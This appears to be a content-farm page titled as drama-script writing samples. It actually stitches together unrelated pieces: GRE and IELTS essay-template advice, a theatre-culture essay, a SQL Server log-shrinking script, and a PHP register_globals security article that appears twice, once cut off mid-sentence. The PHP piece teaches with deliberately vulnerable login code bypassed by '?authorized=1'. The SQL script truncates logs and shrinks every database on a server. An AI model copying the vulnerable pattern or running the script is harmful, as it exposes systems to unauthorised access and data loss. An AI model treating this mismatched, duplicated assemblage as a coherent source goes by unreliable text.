欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>用戏剧脚本写作的范文

用戏剧脚本写作的范文

2023-09-14 09:11:00 收藏本文 下载本文

“时尚色”通过精心收集,向本站投稿了14篇用戏剧脚本写作的范文,以下是小编为大家整理后的用戏剧脚本写作的范文,希望对您有所帮助。

用戏剧脚本写作的范文

篇1:gre写作怎么用

使用模板,要注意一点,就是使用过程需要和本身写作功底,以及练习时间和数量有很大的关系,不能完全将希望寄托在模板上面,好好练习才是真理。

如何使用gre考试写作模板?

既然要背模板,那么大家首先需要了解一些具体并且正确的背诵和使用方法。对于gre作文模板的背诵和使用,关键其实很简单,那就是活记活用。具体来说,就是不要死记硬背,一字不差地强行塞进脑子里。最好能把模板里的句子转化成自己习惯的写作表达方式,转换的过程本身会加深记忆,真的到了使用的时候也能更加顺利地写出来。同时,新gre写作对于作文有着严格的雷同判定规则。现在市面上网络上流传的模板大多来自于一些经典的高分满分范文,如果考生写出来的内容跟模板一模一样,那么就很有可能被判定成雷同抄袭,后果将会十分严重。因此,灵活地背诵和使用模板,才能发挥出其最大的价值。

篇2:gre写作怎么用

一些对作文颇有心得的考生常会对用模板这种做法瞧不上眼。但并不是人人都是写作高手,模板的主要价值体现在稳妥两字。具体表现在:

1. gre作文时间要求是很高的。连续2个30分钟的时间内要写完两篇具备一定学术质量议论性作文,对大部分考生来说都不是一件轻松的任务。通过使用作文模板,大家可以节省下不少阅读和理解题目的时间,有更多地功夫用来构思细节和琢磨遣词造句等问题,从整体上提升作文的质量。

2. gre作文是议论文,讲究逻辑论证和文章框架。提前准备好模板可以帮助考生理顺写作思路,搭建好文章结构。而不会因为思路不顺畅,还要边写边想,这样做出来的文章质量必然要打折扣。

3. gre作文评分要求严格。想要拿到高分,出奇制胜并不是一个好选择,弄巧成拙反而不美。与其如此,还不如写出一篇虽然不出彩却中规中矩挑不出大错的文章。特别是如果考生本身的写作能力并不算太出色,使用模板至少可以保证拿到一个合格的保底分数。

GRE考生的写作5.5高分经验分享

一开始我准备的argument,因为我3月过生日和很多朋友分别聚了下,就耽误了快一个星期吧,所以我准备5天写写argument,熟悉下,然后花15天准备issue,最后留15天模拟考试。事实上我也是这么做的,虽然时间只有一个月左右吧,但是因为逃了基本所有能逃的课程,没有其他事情烦,加上我也没有花一点点时间来准备笔试,所以这个月的时间还算是充分。

先说前5天的argument(计划是一天一篇),看了一些范文之后,我开始写,开始走了个弯路,就是我用了模式写作,模仿范文。前两篇,我发现一模一样,而且我想,大概很多人都这么写,都这么用闪光句型,那不是很多人写一样的文章了?

然后刚好这个时候我看了gter上imong的帖子,说模式作文不好,没有个性,我很认同他的看法,就改变了我的argument风格,先是多看一些比较精彩但是不拘一格的范文,然后思考,这些作文特殊在哪些地方,然后我也试着写一写比较特殊的。写了几个,就开始有了自己的特殊风格,然后自己的模式也浮现出来。

计划是5天的argument训练可能用了7,8天吧,但是模式基本出来了。虽然还是不太清楚,但是这个时候因为时间紧了,必须转向比较难的issue了。

新GRE作文高分备考需要熟悉题库

1. 熟练掌握新GRE写作题库:

为了达到公平,ETS公布了它考试的所有写作题库,那么为了达到能和native speaker一起竞争,考生应该在考前对所有题目都进行预习(节约考试时的审题时间),并通过100-150个提纲的写作了解GRE写作的一般结构,通过30-50篇写作来练习自己的写作思路和表达。对题库中的题目越熟练,对考试越有利。

2. 新GRE写作迎合评卷人的评卷思路:

每个评卷人对你文章的评阅非常快,不可能对每个细节都很仔细地去看。考生应该迎合评卷人的评卷思路,用最规范的结构和最清晰的表达来体现自己的思路:首段要鲜明地提出观点,中间段落层次要拉开,每段的开始应该就是该段的topic sentence。

3. 新GRE写作的评分注重三方面

首先,从ETS公布的各分数段评分标准看,其评分主要注重以下三个方面:①、逻辑分析能力(要求insightful);②、文章的组织(要求well-organized);③、语言能力(要求standard written English; concise; varied structure等)。

4. 尽量提高AI部分的写作能力而力保AA部分满分

由于AA的写作不牵涉自己观点的展开,只须指出作者逻辑上的漏洞,因此在经过训练以后,写起来并不困难;而AI的写作需要自己展开自己设立的观点,不但需要逻辑上的洞察能力,还需要论证观点的能力,语言组织的能力,因此对于中国考生来讲比较困难,难以短期内有较大提高。

但是这两个部分在总分中的权重是一样的,因此考生的策略应该是尽量提高AI部分的写作能力而力保AA部分满分(或高分)。因为如果AA部分满分的话,AI部分只需争取在4分以上就可以保证整体作文分数在5分以上。

篇3:雅思写作怎么用

雅思写作模板怎么用才能拿到高分?

近些年,随着雅思写作的不断改革和演进,很多考生发现原先只背模板,不问其意的学习方法已经远远不能适应当前的雅思写作考试。那么,通过什么方法才能够达到6.5左右的写作分数呢?我个人的观点是:模板不可丢,内容需贯通。

随着考生对雅思考试复习备考的深入,就出现了所谓雅思写作高分“模板”,指雅思写作中的一些固定的套句及其结构。很多同学甚至对雅思写作“模板”这个概念顶礼膜拜,更有甚者会把雅思写作认为是一个背模板的过程,只要背点模板,雅思写作获得高分就没有什么问题了。然而事实证明,很多考生在考场上生硬地使用所谓的雅思写作模板之后,带来的却是意想不到的低分后果,那么如何突破雅思写作模板获高分?

一、模板的不可或缺性

基于考试的变化,很多人开始质疑模板的作用。其实,模板在目前仍然起着非常重要和不能取代的作用。

第一:模板决定着写作的结构。所谓的模板可以说是写作的框架。“没有规矩,何以成方圆”,说的就是这个意思。比如,经常考的议论文,考生通过学习模板就可以用四段式或五段式作为结构。这对于把握考试时间至关重要。

第二:模板可以帮助考生正确审题。有些考生在写作过程中,最大的问题是没有看透题目,不知道从何下手。而模板就可以帮助学生如何去决定写作的总思路和主次观点,甚至可以为主题句和支持句布局谋篇。所以,在教学过程中,我非常支持学生通过模板了解写作,定位写作思路。

但是模板决不能陈词滥调。要不断地创新。

二、写作的输入和输出

除了模板之外,如何写主题句和支持句就成为焦点。很多中国考(微博)生在写作中模糊了主题句和支持句的概念,而是想到哪儿,就写到哪儿。这样的写作的习惯必然成为高分的拦路虎。

为了写好主题句和支持句,我在教学中提出了“5+5”的方法。这个方法的出发点就是根据学生的思路总是简短和没有条理性而提出的。这个理论就是为学生做好输入的过程。只有学生在备考中,掌握这个理论,才可能做到文章思路完整化。

其次,学好主题句和支持句的写作方法之后,另外一个不能忽视的过程就是学习主题词。所谓主题词的概念就是让学生输入考试所需的高频词组和句式。我反对很多学生只背单词以期提高写作。因为单词不能成为句子,不能成为段落。考生开始就要把高频的词组掌握,为表达内容做准备。

第三,教师在教学过程中应该为学生归纳常用的主题思路,这里的思路要和前面的主题词对应。这样做的目的就是为了让考生能把所学正确地使用在考试中。

基于上述三点,我们可以得到这样的结论:写作的输入包括三个部分:主题句和支持句所需的语法,主题思路以及主题词。

有了输入,那么,提倡考生在平时练习的时候,就要按照这些内容入手练习。俗话说“天下文章一大抄,就看会抄不会抄”!所谓的“抄”,不是照搬,而是在理解的基础上,借鉴主题思路和主题词。这样的话,写作的正确率和时间都可以得到保证。

诚然,灵活、合理地运用雅思写作模板能在短时间内帮助雅思写作基础比较差的考生提高不少,但是如果想要真正获得高分的雅思写作,那么就必须突破突破雅思写作模板才能获雅思考官的青睐。

雅思写作模板的使用方法介绍

雅思写作模板使用方法!新雅思写作是个搭建的过程,逻辑如同框架固然重要,但用什么来填充框架同样是不能忽视的问题。多数考生在雅思写作中会遇到这样的问题,有了逻辑,搭好了框架,却不能用英语表达出来,而雅思写作模板也不是万能的!

这都是因为基础没打好,对句式结构和词的用法掌握的不够到位。对很多中国考生来说,写作实际上是个翻译过程,如何把思想中的中文转化成现实中的英文是基础写作最关心的问题,也是学生们首要应该解决的问题。学生们只有把高质量的基础砖瓦填充到精心设计的逻辑框架中,才能搭建成最终的高分作文。

例如,在新雅思写作备考的过程中,考生们经常会在脑中形成这样的句式:“大多数人认为父母是孩子最好的老师”。当把这样的句式转化为英文时,多数考生们会机械地翻译成:Most people think parents are the best teachers for the children. 从语法角度来看,这个翻译并没什么错误。但是这个句子的质量并不能达到考试的要求,因为这只是一个主+谓+宾语从句的简单结构。

背过所谓模板句式的考生可能把上述的句式翻译为:Most people hold the view that parents are the best teachers for their children. 这么写的目的是什么?即经过基础的写作训练后,同学们就会了解这是一个 主+谓+宾+同位语从句的表达。知其所以然以后,再也不用背所谓的模板,考生们也能写出相对复杂的句式了,从而提高了句子的质量。

当然,仅这一步的提升还不够,经过6节课的基础写作学习,学生们会认识到,以上两种英文表达都不是最好的,因为它们都不太符合英文的表达习惯。真正能够有力地表达观点或陈述事实的英文应该是:It is widely accepted that parents are the best teachers for their children.

对于要出国的学生来说,新雅思写作的备考绝不只是为了考试,更重要的是为日后在国外的学习打下夯实的基础。所以应付考试的模板只能满足一时之需,而真正了解英文的句法结构和思维才是真正的一劳永逸。

雅思写作套句和模板可以有 使用方法需注意

从我开始教雅思写作的时候,所谓的“套句”和“模板”在雅思写作当中是否有用就一直是一个有争议的问题。我刚从一个基础英语教师转型为雅思培训师的时候,当时的主流回答是“有用”。翻看当时出版的各种雅思写作参考书,几乎范文里都或多或少有类似“Today, the issue that...... has aroused great controversy in the modern society. While some people believe that ......, this view, nevertheless, is counterargued by some other people who firmly stand by the viewpoint that....... In my opinion, both viewpoints have their merits and in this article, I would like to exploit the issue with the following aspects.”这样的“经典套句”。于是当时本人也跟风设计了一套自己的模板,并在我当时教授的雅思写作课程中专门开辟了“快速模板”这样一个单元。然而实践下来教学成果却让我非常困惑,因为同样使用本人开发的“俞式模板”去写雅思作文的考生,既有拿到7分的高分的,也有只拿到5分并且愤而在网上把我骂到臭头的。本人这次特别翻箱倒柜,找出了当年的“俞式模板”:

(以问句的形式复述核心问题)+ The traditional theory/average people hold(s) that (观点1=你所反对的观点) + Nevertheless, combined with my experience and some scientific evidence (the viewpoint of some researchers/experts), we could draw a totally different conclusion that + (观点2=你支持的观点)

比如像这样的一个Topic:

Some people believe that it is more important for buildings to serve its practical purpose than to look beautiful. So architects need not worry about constructing buildings as works of art. However, some others hold the opposite opinion. Discuss both viewpoints and give your own opinion. (月17日)

貌似就可以用“模板”在两分钟内写出以下开头:

Is it more important for a building to look beautiful just like a work of art or simply to serve its purpose as a place for living? Average people may hold that a building’s practical purpose carries more weight than its appearance . Nevertheless, combined with my experience and the viewpoints of some experts, we could draw a totally different conclusion that it is the beautiful appearance of a building that plays a more significant role.

看上去很不错是不是?但问题是,如果它真的那么好的话,为什么还是有学生在好不容易把我的模板背得滚瓜烂熟之后还是只能得一个5分呢?这是我当时非常想不通的一个问题,anyway,尽管效果各异,但当时我在日常教学当中还是坚持保留”快速模板”这个单元,直到我来到新东方......

当我作为一个新人来到新东方的时候,发现新东方的老师基本上都是非常不屑模板套句这类东西的。当时新东方对外普遍的说法是“新东方的雅思教学早就过了那种背机经抄模板的原始时代”了。的确,到北京去培训和全国各个新东方分部教雅思写作的同行交流的时候,大家也几乎众口一词:“用模板就好比一个上身穿Armani西装的人下半身就穿着一条山寨版的Arnani短裤”一样,是和一个考生的整体语言水平不协调的,因此在实际使用过程中,往往会适得其反,即本来不用模板还能得一个6分的,用了模板以后反而只能拿个5分。

作为当时一个有觉悟的新东方新老师,我又作出了一个重大的决定:追随组织大流,毅然把曾经在我的雅思写作课程中占据4小时左右长度的“快速模板”这个单元从我的讲义当中......永久地删除了......

现在是,我不用模板已经很多年(其实也就是两年......),但对于模板和套句在雅思写作当中的作用,说实话,I was still not so sure......你注意到了,我用的是一般过去时......which means 我现在对于这个问题已经有了答案,因为我遇到了她:

Vanessa Jakeman

英国人,包括剑桥系列丛书在内的多部雅思著作的作者,英国雅思界权威。

前一段时间我们部门正好有幸邀请到老太太吃饭,借着这个难得的机会,大家都把平时教学中碰到的问题向老太太请教,我的问题就是关于模板和套句:这玩意儿在雅思考试里到底是“这个可以有”还是“这个真不能有”......

老太太给我的回答可以用一个词回答:Relevance(相关性)。Yes, it's all about relevance. 也就是说套句也好模板也好,的确“有时候可以用有时候不能用”,关键取决于你用的是否切题。老太太有说到很多低分雅思考生的问题正是在于他们手里都有一套模板,但他们不知道哪些题目里这个模板是能用的,哪些是不能用的。比如最近一次雅思考试(.4.18)的作文考题:

Some people believe that if products are of good quality or meet people’s needs, people will buy them naturally. So advertisements are not necessary and no more than a form of entertainment. To what extent do you agree or disagree? (抽象类)

如果有人写:Today, the issue that advertisements are not important and only a kind of entertainment has aroused great controversy......那么这个考生马上就会被严重扣分,因为issue是指“有争议的问题”(比如“安乐死是否应合法化”之类的),而这个 topic中提到的“广告不是不可或缺的而只是一种娱乐”纯粹是部分人的personal opinion,并不是issue,因此这里盲目照搬套句模板就一定会被扣分。而如果像今年2月7号的作文考题:

Some people believe that rich countries provide poorer countries with other types of help rather than financial aid. To what extent do you agree or disagree? (政府决策类)

如果用刚才的模板来写开头 : Today, the issue whether rich countries ought to provide poorer countries with other types of help instead of financial aid has aroused great controversy......按照老太太的说法就完全没有问题,因为rich countries到底应该向poorer countries提供怎么样的援助本来就是属于有争议的问题,的确是issue没错。

综上所述,其实套句或者模板在雅思写作中还是可以用的-当然是在你能够确保正确使用的前提之下。我会不会在作文课恢复“快速模板”这个单元?......Well, I am afraid my answer has to be “NO”.因为毕竟模板套句之类的还是比较适合英语写作基础比较薄弱的考生,大多数水平中等或以上的考生完全有能力不需要借助模板就能够拿到6分或6分以上的成绩。或者这样说可能更清楚:使用模板的前提是考生能正确识别哪些题目能用模板,用什么模板。而基础较差的考生往往做不到这一点所以模板不适合他们。而能够做到这一点的考生基本上英语实力已经达到一定的高度,完全可以靠自己的能力独立写出一篇得分在6分以上的雅思作文,所以也不需要模板。因此,我们可以确定模板套句对大多数考生基本无用,除非你是这样一个考生:英语基础较差,自己无法独立写出完整正确的段落,手里握有好几套模板而且对于各种不同的 topics适合用哪一种具体的模板都有正确的认识并能相应地准确使用之......问题是......在地球上有这种人存在吗?......

篇4:戏剧文化的作文写作素材

关于戏剧文化的作文写作素材

适用话题:文化传承、艺术、价值观、创新

今天是3月27日,世界戏剧日。尽管已设立了半个多世纪,可知道这个日子的人并不多。戏剧,是人物通过表演故事反映社会各种冲突的艺术;也是人类自身生活的展现和诉说。舞台上所展示的一切,现实生活中也都在真切上演,正如一位戏剧家所言:我们就是戏剧!中国是戏剧大国,曾有300多个剧种,有时一个村庄能同时搭起30多个戏台,锣鼓喧天,乐曲悠扬,如今这种景象却不多见了……

《文化教养、艺术修行就是我们的自信》

你敲不敲钟,太阳也得升起,你走不走夜路,月亮也得升起,我从事戏剧,因为我的生命需要它。

戏剧人的文化自信在哪里?文是雅,艺是俗,我们干这一行的文化教养、艺术修行就是我们的自信。

我之所以会干这一行,是因为我有“技”,身上有“活”,我找到了文艺这个能够和我心灵有所对应的行当,它使我幸福。别管我们挣多少钱,有多大名气,是不是干到第一第二了,这不重要。

在唱词念白的时候,我们陶醉于其间,在演角色的时候,我们浸润于其中,我们的自信来源于前辈,我们真的是学过来的,祖师爷给了我们这碗饭,不只是让我们活命,更是让我们得到快乐,快乐是我们干下去的动力。吃多少苦,受多少冷落,还得干,就像太阳和月亮,“天晓不因钟鼓动,月明非为夜行人”,你敲不敲钟,太阳也得升起,你走不走夜路,月亮也得升起,我从事戏剧,因为我的生命需要它。

△濮存昕出演话剧《白鹿原》剧照粤剧表演艺术家红线女先生说:“我的生命属于艺术,我的艺术属于人民。”戏剧人就像冉冉升起的太阳和月亮,我们干这一行能让老百姓看戏、高兴,还能体现自身的价值、观念。我第一天站在台上为大家朗诵“为人进出的门紧锁着,为狗爬出的洞敞开着”,下面有人鼓掌,我发现我能干文艺,能像我爸一样演出,觉得特别快乐。

戏里充满了现代人、年轻人值得观赏、愿意观赏的东西,这些都是我们文化自信的来源。

我们的自信来源于生活本身。传承和创新本身就是一体两面。站在台上,即便你的一板一眼全是前辈的,你也在创新,因为你把活接下来了,在当下,你就是传承的一个环节,你没让它失了传、断了链,这就是创新。演新戏是创新,演老戏也是创新,戏曲行里面有太多老戏了,把老戏拿下,这是一件特别重要的事,一定要学戏、拿活,把前辈的东西拿在身上,真的把自己摆进去了,就叫创新。

有人说为什么不创新,为什么老戏演了这么多年还在演,我说观众五年一拨、十年一拨,那些让坏人向好、向善的老戏,我想让年轻人一拨一拨地看下去。就像屈原、李白、杜甫、白居易,要想让后来的人知道,今天就还得念他们的诗,只要我们个体本真的生命投入进去了,我们就是在创新。

演员需要去做传承的事情,我们被前辈影响过,还想影响后辈人,有多少人会喜欢上戏剧这一行,有多少人会成为文艺青年,有多少人想效仿我们,有多少90后、00后会喜欢戏,会走进剧场。戏里充满了现代人、年轻人值得观赏、愿意观赏的东西,这些都是我们文化自信的来源。

△濮存昕出演话剧《李白》剧照我们表现出了中国人的生命自信和民族气质,人们就会敬佩那个演员,同时敬佩那个国家的整体文化。

我们自信因为我们有好的'戏、好的曲牌、好的声腔,这门艺术是能够传世的。虽然我们有着与西方人完全不同的文化传统,但我们的戏曲到外国去演,他们由衷地为我们喝彩,我们的话剧,到戏剧历史比我们更久远的国家去演,他们也真诚地为我们鼓掌,因为这是中国的。当我们站在西方人的舞台上,自信地表达着自己的角色时,他们看到了,哦,这是中国人对戏剧的认识,对自己生活、文化的认识,他们有着这样的认知力。

△濮存昕出演话剧《贵妇还乡》剧照我们在西方演易卜生戏剧,一个舞台监督对我说,我的哥哥跟你演过同一个角色,但是他没有你演得好,为什么这么说?因为他上天梯的时候,观众都笑,而你们的戏里,上天梯的时候,观众是那么安静,大家最后给你们的掌声是由衷的,他说我觉得你们读懂了易卜生。

这时,我们收获了文化自信,外国人看到了我们解读西方经典作品的能力。我们的演员在舞台上表现出了中国人的生命自信和民族气质,人们看到好的演出就会敬佩那个演员,同时敬佩那个国家的整体文化。

了解一座城市

先从戏剧看起

从1962年起,每年3月27日为“世界戏剧日”。戏剧,这一古老的文化艺术,根植于城市之中,成为“城市之光”。了解一座城市,不如先从欣赏一场戏剧开始。

法国巴黎 红磨坊 Moulin Rouge

在巴黎,无论是文学戏、荒诞戏还是宗教戏,都能找到自己的舞台。法国的戏剧流派百花齐放,古典现代并存,独具一格。老鸽巢剧院、安托万剧院,令人流连忘返。其中,当属红磨坊最有特色,地道的法国歌舞令“红磨坊”已成为一个文化符号。

英国伦敦 莎士比亚环球剧场 Shakespeare's Globe Theatre

在与法国隔海相望的英国,人们对喜剧的热爱丝毫未减,莎翁、萧伯纳、王尔德的底蕴犹存,为英语国家提供源源不绝的艺术原创。著名的伦敦西区剧院林立,观众络绎不绝。位于泰晤士河岸边的莎士比亚环球剧场复建自16世纪被烧坏的原迹,除了提供露天表演舞台的功能,它更是一座戏剧博物馆,让观众全身心地融入戏剧。

美国纽约 百老汇 Broadway

纽约市的百老汇无疑已是世界戏剧的中心,之所以如此,在于它融会传统,又重视创新,多元包容,成为大家。有人专去纽约只为看戏剧,其吸引力和影响力可见一斑。近年来,《狮子王》、《悲惨世界》、《猫》等剧取得重大成功,广受欢迎。

意大利米兰 斯卡拉歌剧院 Teatro alla Scala

在米兰,除了米兰大教堂,斯卡拉歌剧院也是城市标志之一,斯卡拉歌剧院的名字对爱乐者来说是具有无可比拟的魅力。在歌剧院落成的前150年中,有350部歌剧的首演都是在那里举行的,可以说歌剧院的每一次节日盛演开幕歌剧都被公认为意大利歌剧界的重大事件。

澳大利亚悉尼 悉尼歌剧院 Sydney Opera House

悉尼歌剧院不仅是悉尼艺术文化的殿堂,更是悉尼的灵魂,是公认的20世纪世界十大奇迹之一。不同于拥有悠久历史的欧洲著名歌剧院,悉尼歌剧院主要由两个主厅、一些小型剧院、演出厅以及其他附属设施组成。两个大厅均位于比较大的帆型结构内,小演出厅则位于底部的基座内。其中最大的主厅是音乐厅,最多可容纳2679人。

篇5:用脚本缩小数据库日志数据库教程

脚本|数据|数据库

因为客户使用的数据库时常因为日志过大而导致硬盘空间不够,或者备份出来的文件太大无法通过邮件传送,

闲下有余,参考SQLSERVER的帮助文件,写了如下脚本,可以截断日志,以达到缩小文件的目的。有空大家可以在自己的SQLSERVER上测试下效果哦。。。:)也许对有些情况导致的日志过大没有作用,这点可以同各位同仁互相交流下。

--在MASTER数据库中执行以下脚本(使用查询分析器)

declare @dbname varchar(50)

declare temp_cur cursor scroll for select name from sysdatabases

open temp_cur

fetch first from temp_cur into @dbname

while @@fetch_status =0

begin

exec ('backup log '+@dbname+' with no_log')

exec ('dbcc shrinkdatabase('+@dbname+')')

exec ('dbcc checkcatalog ('+@dbname+')')

exec ('dump transaction '+@dbname+' with no_log')

fetch next from temp_cur into @dbname

end

close temp_cur

deallocate temp_cur

篇6:用php42书写安全的脚本

用PHP 4.2书写安全的脚本

:Andy.m  日期:-06-06  人气:19

在很长一段时间内,PHP作为服务器端脚本语言的最大卖点之一就是会为从表单提交的值自动建立一个全局变量,在PHP 4.1中,PHP的制作者们推荐了一个访问提交数据的替代手段。在PHP 4.2中,他们取消了那种老的做法!正如我将在这篇文章中解释的那样,作出这样的变化的目的是出于安全性的考虑。我们将研究PHP在处理表单提交及其它数据时的新的做法,并说明为什么这样做会提高代码的安全性。

这里有什么错误?

看看下面的这段PHP脚本,它用来在输入的用户名及口令正确时授权访问一个Web页面:

// 检查用户名及口令

if($username=='kevin'and$password=='secret')

$authorized=true;

?>

Please enter your username and password:

“ method=”POST“>

Username:

Password:

OK,我相信大约半数的读者会不屑的说“太愚蠢了-- 我不会犯这样的错误的!”但是我保证有很多的读者会想“嗨,没什么问题啊,我也会这么写的!”当然还会有少数人会对这个问题感到困惑(“什么是PHP?”),

PHP被设计为一个“好的而且容易的”脚本语言,初学者可以在很短的时间内学会使用它;它也应该能够避免初学者犯上面的错误。

再回到刚才的问题,上面的代码中存在的问题是你可以很容易地获得访问的权力,而不需要提供正确的用户名和口令。只在要你的浏览器的地址栏的最后添加?authorized=1。因为PHP会自动地为每一个提交的值创建一个变量 -- 不论是来自动一个提交的表单、URL查询字符串还

篇7:雅思写作要怎么用

雅思写作范文要怎么用

在雅思考试中,很多考生由于对作文的话题不熟悉导致没有话可说,甚至有些学生由于词汇量不够而限制了表达自己的观点,因此很 多学生将雅思写作范文当做救命稻草,日夜苦背,我们承认,多背几篇雅思范文确实可以帮助我们提高词汇量,也能帮助我们提高写作 水平,但是一味的只知道原模原样的背,不但浪费了考生宝贵的复习时间,收效也甚微,那不原模原样的背,该怎么背?雅思写作技巧的掌握对于考试还是很有帮助的,希望大家能够总是雅思写作辅导的内容。

一篇好的作文,不在于他有多么华丽的辞藻,而在与她的结构,如果你的文章也像范文一样条理清晰,结构严谨,逻辑严密,那怎么 可能会得不到高分呢,所以,原模原样的被范文,不如仔细的研究范文的文章结构,看范文中是怎么安排段落的,段落之间以及句子之 间是怎么连接在一起的,运用了哪些衔接手段等等。如果你的基础很差,语言能力很低,不妨通过多分析几篇范文,来明白写作的框架 和机构,然后选择几篇范文熟练背诵之后将他们改写成自己的话,如果你的目标为5分,那么备考时就以一定要注重题意的理解,写作基 本模板的训练和简单句式的练习,尤其注意常见单词的词性正确使用。

另外,在如果你可以在短短的30分钟内,根据给定的话题快速的把你的观点条理清晰的陈述出来,再加上丰富准确的词汇,多样的句 式结构,以及你独特的见解,那么一定可以吸引考官的注意力,让他不得不给你一个高分数。所以,背范文不光要被词汇,还要学会鉴 赏好文章的结构。

雅思大作文:research into new types of medicine and treatments are essential

雅思大作文题目:Research into new types of medicine and treatments are essential for improving health and deal with diseases. Who do you think should fund these researches: private companies, individuals or governments?

Give reasons for your answer and include any relevant examples from your own knowledge or experience.

作文范文:

Medical advancement like new drugs and therapies have been improving the average longevity of citizens and both their phyical and mental well-being, so a massive amount of funds have been and would be continously poured into this field. This essay discusses whether the fundings should originate from ordinary people, major coporations or governments.

Individuals, or the general public to be precise, perform little in medical progress. This fact should be widely acknowledged although this group is the major one that enjoys the achievements on health care. That is mainly because any one kind of new medicines requires time and money that is way beyond any single citizen’s affordability compared with the other two parities mentioned.

Business markets, in comparison, play a vital role on this issue. Businessmen can better detect and meet the needs of people – patients in this context – and they are able to invest greater capital in the pursuing latter higher profits. This strong incentive can bring along fresh treatments and a series of new drugs in the short term. However, the patented medical products with high prices can inflict greater pain for the lower class, which is the root of growing health disparities in the global context. Simply put, health care should not be regarded as a commercial activity but a social obligation.

Governments should take over this mission and cover the most costs. Their obligations, a well-argued and decided issue, are to organize social assets and to invest into fields that benefit people amid the general development. Moreover, the authority occupying greater statistical resources can better decide in which particular disease or diseases should the fundings be invested to help the majority or the immediate. Yet, it is to admit that tax revenue for these scientific researches may be ended up in vain as all the progress have based on numerous failures.

To sum up, I believe that major global companies and governments can both be the main investors on these projects whereas some tradeoffs can be implemented to benefit virtually all citizens, like regulation on price fixing and supervision on the distribution of government fundings.

雅思大作文:economic growth is the only way to end world poverty and hunger

雅思大作文题目:Some people say that economic growth is the only way to end world poverty and hunger. Others say that economic growth is causing damage to the environment ,and should be stopped now. Discuss both views and give your opinion.Give reasons for your answer and include any relevant examples from your own knowledge or experience.

作文范文:

Developed worlds have been devoting real efforts in economy growth since Industrial Revolution and have eventually succeeded in feeding their populations. Thus, some propose that stronger economy is the only approach in eradicating famine and poverty in the global context whereas some others argue that it should not be encouraged for the sake of environmental protection.

The state of being poor and hungry could indeed be improved out of economic development. The two fundamental reasons of this condition are mainly caused by the low amount of income on average and uneven social distribution. In dealing with the first, thriving businesses simply boost the social fortune like food, houses and a variety of products in aggregate, an objective and solid foundation of more resources for each member in the society. As for the second reason, it is extensively acknowledged that the majority of social resources are held by the elite groups in all social forms, but even under this circumstance, an ordinary citizen of a modern developed nation may worry less on the provision of food or welfare services comparing with a normal medieval farmer. As well as those, this method is clearly more humane and sustainable than others such as plundering other societies and eliminating the lower class.

A developing and prospering economy is commonly associated with environmental disruption. This is inevitable because people could not properly handle industrial waste with initial technology and the disposal results in pollution of all sorts. However, cleaner energy is generated and more by-products are reused and recycled with the progress of science and technology, leading to the reduction of pollution in the long term. What is more, the second idea mentioned is ridiculous and infeasible as the human survival and comfort is the top priority for common people and the authorities.

To conclude, I believe the development of economy can not be halted so more people can be relieved from poverty and hunger. Meanwhile, the awareness of protecting environment should be raised before it is too late.

篇8:用PHP 4.2书写安全的脚本PHP

在很长一段时间内,PHP作为 服务器 端 脚本语言 的最大卖点之一就是会为从表单提交的值自动建立一个全局变量,在PHP 4.1中,PHP的制作者们推荐了一个访问提交数据的替代手段。在PHP 4.2中,他们取消了那种老的做法!正如我将在这篇文章中解释的那样,作出这

在很长一段时间内,PHP作为服务器端脚本语言的最大卖点之一就是会为从表单提交的值自动建立一个全局变量。在PHP 4.1中,PHP的制作者们推荐了一个访问提交数据的替代手段。在PHP 4.2中,他们取消了那种老的做法!正如我将在这篇文章中解释的那样,作出这样的变化的目的是出于安全性的考虑。我们将研究PHP在处理表单提交及其它数据时的新的做法,并说明为什么这样做会提高代码的安全性。

这里有什么错误?

看看下面的这段PHP脚本,它用来在输入的用户名及口令正确时授权访问一个Web页面:

php>

// 检查用户名及口令

if ($username == 'kevin' and $password == 'secret')

$authorized = true;

?>

Please enter your username and password:

Username:

Password:

OK,我相信大约半数的读者会不屑的说“太愚蠢了-- 我不会犯这样的错误的!”但是我保证有很多的读者会想“嗨,没什么问题啊,我也会这么写的!”当然还会有少数人会对这个问题感到困惑(“什么是PHP?”)。PHP被设计为一个“好的而且容易的”脚本语言,初学者可以在很短的时间内学会使用它;它也应该能够避免初学者犯上面的错误。

再回到刚才的问题,上面的代码中存在的问题是你可以很容易地获得访问的权力,而不需要提供正确的用户名和口令。只在要你的浏览器的地址栏的最后添加?authorized=1。因为PHP会自动地为每一个提交的值创建一个变量 -- 不论是来自动一个提交的表单、URL查询字符串还是一个cookie -- 这会将$authorized设置为1,这样一个未授权的用户也可以突破安全限制。

那么,怎么简单地解决这个问题呢?只要在程序的开头将$authorized默认设置为false。这个问题就不存在了!$authorized是一个完全在程序代码中创建的变量;但是为什么开发者得为每一个恶意的用户提交的变量担心呢?

PHP 4.2作了什么改变?

在PHP 4.2中,新安装的PHP中的register_globals选项默认为关闭,因此EGPCS值(EGPCS是Environment、Get、Post、Cookies、Server的缩写 -- 这是PHP中外部变量来源的全部范围)不会被作为全局变量来创建。当然,这个选项还可以通过手工来开启,但是PHP的开发者推荐你将其关闭。要贯彻他们的意图,你需要使用其它的方法来获取这些值。

从PHP 4.1开始,EGPCS值就可以从一组指定的数组中获得:

$_ENV -- 包含系统环境变量

$_GET -- 包含查询字符串中的变量,以及提交方法为GET的表单中的变量

$_POST -- 包含提交方式为POST的表单中的变量

$_COOKIE -- 包含所有cookie变量

$_SERVER -- 包含服务器变量,例如HTTP_USER_AGENT

$_REQUEST -- 包含$_GET、$_POST和$_COOKIE的全部内容

$_SESSION -- 包含所有已注册的session变量

在PHP 4.1之前,当开发者关闭register_globals选项(这也被考虑为提高PHP性能的一种方法)后,必须使用诸如$HTTP_GET_VARS这样的令人讨厌的名字来获取这些变量。这些新的变量名不仅仅短,而且它们还有其他优点。

首先,让我们在PHP 4.2中(也就是说关闭register_globals 选项)重写上面提到的代码:

$username = $_REQUEST['username'];

$password = $_REQUEST['password'];

// 检查用户名和口令

if ($username == 'kevin' and $password == 'secret')

$authorized = true;

?>

Please enter your username and password:

Username:

Password:

正如你看到的,我所需要做的只是在代码的开始增加下面两行:

$username = $_REQUEST['username'];

$password = $_REQUEST['password'];

因为我们希望用户名和密码是由用户提交的,所以我们从$_REQUEST数组中获取这些值。使用这个数组使得用户可以自由选择传递方式:通过URL查询字符串(例如允许用户创建书签时自动输入他们的证书)、通过一个提交的表单或者是通过一个cookie。如果你想要限制只能通过表单提交证书(更精确地说,是通过HTTP POST请求),你可以使用$_POST数组:

$username = $_POST['username'];

$password = $_POST['password'];

